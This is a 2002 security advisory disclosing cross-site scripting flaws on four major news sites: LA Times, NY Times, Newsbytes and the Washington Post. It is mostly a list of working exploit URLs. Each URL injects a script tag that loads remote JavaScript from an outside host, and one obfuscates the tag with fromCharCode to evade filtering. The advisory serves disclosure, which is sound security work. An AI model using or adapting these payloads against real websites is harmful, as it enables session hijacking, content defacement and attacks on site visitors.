Subversion of Information Vulnerabilities on Major News Sites

["Jeremiah J. Jacks" <jer () pointblanksecurity com>]

Point Blank Security Notice
Friday, March 08, 2002

Title:    Subversion of Information Vulnerabilities on Major News Sites
Advisory: PBS0302002

Author:   Jeremiah Jacks, Point Blank Security

Summary:  http://www.cert.org/advisories/CA-2000-02.html

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Exploitation:

LA Times
 01)
http://latimes.com/search/lat_all.jsp?Query=<script+src=http://pointblanksec
urity.com/css/latimes.js></script>
 Credit: Jeremiah Jacks

NY Times
 01)
http://www.nytimes.com/corrections.html?pagewanted=";><script>document.writel
n('<script');document.writeln('src=http://pointblanksecurity.com/css/nytimes
.js><\/script>');</script><a+href="
 Credit: Jeremiah Jacks

Newsbytes
 01)
http://www.newsbytes.com/cgi-bin/udt/mlm.user.register?client.id=newsbytes&e
mail.address="><script>function+Chr(code){return+String.fromCharCode(code);}
document.writeln('<script');document.write('src');document.write(Chr(61));do
cument.write('http://pointblanksecurity.com/css/newsbytes.js><\/script>');</
script><a
 Credit: Jeremiah Jacks

The Washington Post
 01)
http://www.washingtonpost.com/ac3/ContentServer?pagename=world/worldsearch&C
OUNTRY=<script+src=http://pointblanksecurity.com/css/washpost.js></script>
 Credit: Jeremiah Jacks

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